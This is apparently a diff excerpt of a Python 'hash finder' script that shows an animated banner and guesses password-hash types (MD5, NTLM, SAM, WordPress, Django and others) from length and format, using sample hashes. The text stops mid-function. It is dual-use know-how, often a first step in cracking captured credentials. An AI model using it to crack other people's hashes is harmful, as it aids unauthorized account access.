"\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + t.sleep(1) + + def r_bnr(bnr): + return choice(bnr) + print(f'{bold}{l_red}') + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + + print(f'{blink}{l_red}', end='', flush=True) + print('A', end='', flush=True) + t.sleep(0.2) + print('N', end='', flush=True) + t.sleep(0.5) + print('G', end='', flush=True) + t.sleep(0.3) + print('R', end='', flush=True) + t.sleep(0.6) + print('Y', end='', flush=True) + t.sleep(0.3) + print(' ', end='', flush=True) + t.sleep(0.2) + print('H', end='', flush=True) + t.sleep(0.2) + print('A', end='', flush=True) + t.sleep(0.5) + print('S', end='', flush=True) + t.sleep(0.5) + print('H', end='', flush=True) + t.sleep(0.3) + print(' ', end='', flush=True) + t.sleep(0.5) + print('F', end='', flush=True) + t.sleep(0.2) + print('I', end='', flush=True) + t.sleep(0.5) + print('N', end='', flush=True) + t.sleep(0.4) + print('D', end='', flush=True) + t.sleep(0.5) + print('E', end='', flush=True) + t.sleep(0.5) + print('R', end='', flush=True) + t.sleep(2) + print(f'{nbold}', end='', flush=True) + print(f' {italic} From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}A.H.F{f.GREEN}]{f.WHITE}{f.RED} For The Eyerlinear + MJI 3> ARI {f.WHITE}{bold} A{nbold}H{bold}F {nbold} TOOL !\n\n\n') + t.sleep(3) + + algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"} + + + def CRC16(hash): + hs='4607' + if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("101020") + def CRC16CCITT(hash): + hs='3d08' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("101040") + def FCS16(hash): + hs='0e5b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("101060") + + def CRC32(hash): + hs='b33fd057' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("102040") + def ADLER32(hash): + hs='0607cb42' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("102020") + def CRC32B(hash): + hs='b764a0d9' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("102060") + def XOR32(hash): + hs='0000003f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("102080") + + def GHash323(hash): + hs='80000000' + if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("103040") + def GHash325(hash): + hs='85318985' + if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("103020") + + def DESUnix(hash): + hs='ZiY8YtDKXJwYQ' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False: + jerar.append("104020") + + def MD5Half(hash): + hs='ae11fd697ec92c7c' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("105060") + def MD5Middle(hash): + hs='7ec92c7c98de3fac' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("105040") + def MySQL(hash): + hs='63cea4673fd25f46' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("105020") + + def DomainCachedCredentials(hash): + hs='f42005ec1afe77967cbc83dce1b4d714' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106025") + def Haval128(hash): + hs='d6e3ec49aa0f138a619f27609022df10' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106160") + def Haval128HMAC(hash): + hs='3ce8b0ffd75bc240fc7d967729cd6637' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106165") + def MD2(hash): + hs='08bbef4754d98806c373f2cd7d9a43c4' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106060") + def MD2HMAC(hash): + hs='4b61b72ead2b0eb0fa3b8a56556a6dca' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106120") + def MD4(hash): + hs='a2acde400e61410e79dacbdfc3413151' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106040") + def MD4HMAC(hash): + hs='6be20b66f2211fe937294c1c95d1cd4f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106100") + def MD5(hash): + hs='ae11fd697ec92c7c98de3fac23aba525' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106020") + def MD5HMAC(hash): + hs='d57e43d2c7e397bf788f66541d6fdef9' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106080") + def MD5HMACWordpress(hash): + hs='3f47886719268dfa83468630948228f6' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106140") + def NTLM(hash): + hs='cc348bace876ea440a28ddaeb9fd3550' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106029") + def RAdminv2x(hash): + hs='baea31c728cbf0cd548476aa687add4b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106027") + def RipeMD128(hash): + hs='4985351cd74aff0abc5a75a0c8a54115' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106180") + def RipeMD128HMAC(hash): + hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106185") + def SNEFRU128(hash): + hs='4fb58702b617ac4f7ca87ec77b93da8a' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106200") + def SNEFRU128HMAC(hash): + hs='59b2b9dcc7a9a7d089cecf1b83520350' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106205") + def Tiger128(hash): + hs='c086184486ec6388ff81ec9f23528727' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106220") + def Tiger128HMAC(hash): + hs='c87032009e7c4b2ea27eb6f99723454b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106225") + def md5passsalt(hash): + hs='5634cc3b922578434d6e9342ff5913f7' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106240") + def md5saltmd5pass(hash): + hs='245c5763b95ba42d4b02d44bbcd916f1' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106260") + def md5saltpass(hash): + hs='22cc5ce1a1ef747cd3fa06106c148dfa' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106280") + def md5saltpasssalt(hash): + hs='469e9cdcaff745460595a7a386c4db0c' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106300") + def md5saltpassusername(hash): + hs='9ae20f88189f6e3a62711608ddb6f5fd' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106320") + def md5saltmd5pass(hash): + hs='aca2a052962b2564027ee62933d2382f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106340") + def md5saltmd5passsalt(hash): + hs='de0237dc03a8efdf6552fbe7788b2fdd' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106360") + def md5saltmd5passsalt(hash): + hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106380") + def md5saltmd5saltpass(hash): + hs='d8f3b3f004d387086aae24326b575b23' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106400") + def md5saltmd5md5passsalt(hash): + hs='81f181454e23319779b03d74d062b1a2' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106420") + def md5username0pass(hash): + hs='e44a60f8f2106492ae16581c91edb3ba' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106440") + def md5usernameLFpass(hash): + hs='654741780db415732eaee12b1b909119' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106460") + def md5usernamemd5passsalt(hash): + hs='954ac5505fd1843bbb97d1b2cda0b98f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106480") + def md5md5pass(hash): + hs='a96103d267d024583d5565436e52dfb3' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106500") + def md5md5passsalt(hash): + hs='5848c73c2482d3c2c7b6af134ed8dd89' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106520") + def md5md5passmd5salt(hash): + hs='8dc71ef37197b2edba02d48c30217b32' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106540") + def md5md5saltpass(hash): + hs='9032fabd905e273b9ceb1e124631bd67' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106560") + def md5md5saltmd5pass(hash): + hs='8966f37dbb4aca377a71a9d3d09cd1ac' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106580") + def md5md5usernamepasssalt(hash): + hs='4319a3befce729b34c3105dbc29d0c40' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106600") + def md5md5md5pass(hash): + hs='ea086739755920e732d0f4d8c1b6ad8d' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106620") + def md5md5md5md5pass(hash): + hs='02528c1f2ed8ac7d83fe76f3cf1c133f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106640") + def md5md5md5md5md5pass(hash): + hs='4548d2c062933dff53928fd4ae427fc0' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106660") + def md5sha1pass(hash): + hs='cb4ebaaedfd536d965c452d9569a6b1e' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106680") + def md5sha1md5pass(hash): + hs='099b8a59795e07c334a696a10c0ebce0' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106700") + def md5sha1md5sha1pass(hash): + hs='06e4af76833da7cc138d90602ef80070' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106720") + def md5strtouppermd5pass(hash): + hs='519de146f1a658ab5e5e2aa9b7d2eec8' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("106740") + + def LineageIIC4(hash): + hs='0x49a57f66bd3d5ba6abda5579c264a0e4' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0: + jerar.append("107080") + def MD5phpBB3(hash): + hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0: + jerar.append("107040") + def MD5Unix(hash): + hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0: + jerar.append("107060") + def MD5Wordpress(hash): + hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0: + jerar.append("107020") + + def MD5APR(hash): + hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0: + jerar.append("108020") + + def Haval160(hash): + hs='a106e921284dd69dad06192a4411ec32fce83dbb' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109100") + def Haval160HMAC(hash): + hs='29206f83edc1d6c3f680ff11276ec20642881243' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109200") + def MySQL5(hash): + hs='9bb2fb57063821c762cc009f7584ddae9da431ff' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109040") + def MySQL160bit(hash): + hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0: + jerar.append("109060") + def RipeMD160(hash): + hs='dc65552812c66997ea7320ddfb51f5625d74721b' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109120") + def RipeMD160HMAC(hash): + hs='ca28af47653b4f21e96c1235984cb50229331359' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109180") + def SHA1(hash): + hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109020") + def SHA1HMAC(hash): + hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109140") + def SHA1MaNGOS(hash): + hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109220") + def SHA1MaNGOS2(hash): + hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109240") + def Tiger160(hash): + hs='c086184486ec6388ff81ec9f235287270429b225' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109080") + def Tiger160HMAC(hash): + hs='6603161719da5e56e1866e4f61f79496334e6a10' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109160") + def sha1passsalt(hash): + hs='f006a1863663c21c541c8d600355abfeeaadb5e4' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109260") + def sha1saltpass(hash): + hs='299c3d65a0dcab1fc38421783d64d0ecf4113448' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109280") + def sha1saltmd5pass(hash): + hs='860465ede0625deebb4fbbedcb0db9dc65faec30' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109300") + def sha1saltmd5passsalt(hash): + hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109320") + def sha1saltsha1pass(hash): + hs='58714327f9407097c64032a2fd5bff3a260cb85f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109340") + def sha1saltsha1saltsha1pass(hash): + hs='cc600a2903130c945aa178396910135cc7f93c63' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109360") + def sha1usernamepass(hash): + hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109380") + def sha1usernamepasssalt(hash): + hs='00025111b3c4d0ac1635558ce2393f77e94770c5' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109400") + def sha1md5pass(hash): + hs='fa960056c0dea57de94776d3759fb555a15cae87' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("1094202") + def sha1md5passsalt(hash): + hs='1dad2b71432d83312e61d25aeb627593295bcc9a' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109440") + def sha1md5sha1pass(hash): + hs='8bceaeed74c17571c15cdb9494e992db3c263695' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109460") + def sha1sha1pass(hash): + hs='3109b810188fcde0900f9907d2ebcaa10277d10e' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109480") + def sha1sha1passsalt(hash): + hs='780d43fa11693b61875321b6b54905ee488d7760' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109500") + def sha1sha1passsubstrpass03(hash): + hs='5ed6bc680b59c580db4a38df307bd4621759324e' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109520") + def sha1sha1saltpass(hash): + hs='70506bac605485b4143ca114cbd4a3580d76a413' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109540") + def sha1sha1sha1pass(hash): + hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109560") + def sha1strtolowerusernamepass(hash): + hs='79f575543061e158c2da3799f999eb7c95261f07' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("109580") + + def Haval192(hash): + hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("110040") + def Haval192HMAC(hash): + hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("110080") + def Tiger192(hash): + hs='c086184486ec6388ff81ec9f235287270429b2253b248a70' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("110020") + def Tiger192HMAC(hash): + hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("110060") + + def MD5passsaltjoomla1(hash): + hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: + jerar.append("112020") + + def SHA1Django(hash): + hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0: + jerar.append("113020") + + def Haval224(hash): + hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("114040") + def Haval224HMAC(hash): + hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("114080") + def SHA224(hash): + hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("114020") + def SHA224HMAC(hash): + hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("114060") + + def SHA256(hash): + hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115020") + def SHA256HMAC(hash): + hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115120") + def Haval256(hash): + hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115040") + def Haval256HMAC(hash): + hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115140") + def GOSTR341194(hash): + hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115060") + def RipeMD256(hash): + hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115080") + def RipeMD256HMAC(hash): + hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115160") + def SNEFRU256(hash): + hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115100") + def SNEFRU256HMAC(hash): + hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115180") + def SHA256md5pass(hash): + hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115200") + def SHA256sha1pass(hash): + hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: + jerar.append("115220") + + def MD5passsaltjoomla2(hash): + hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: + jerar.append("116020") + def SAM(hash): + hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0: + jerar.append("116040") + + def SHA256Django(hash): + hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3' + if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0: + jerar.append("117020") + + def RipeMD320(hash): + 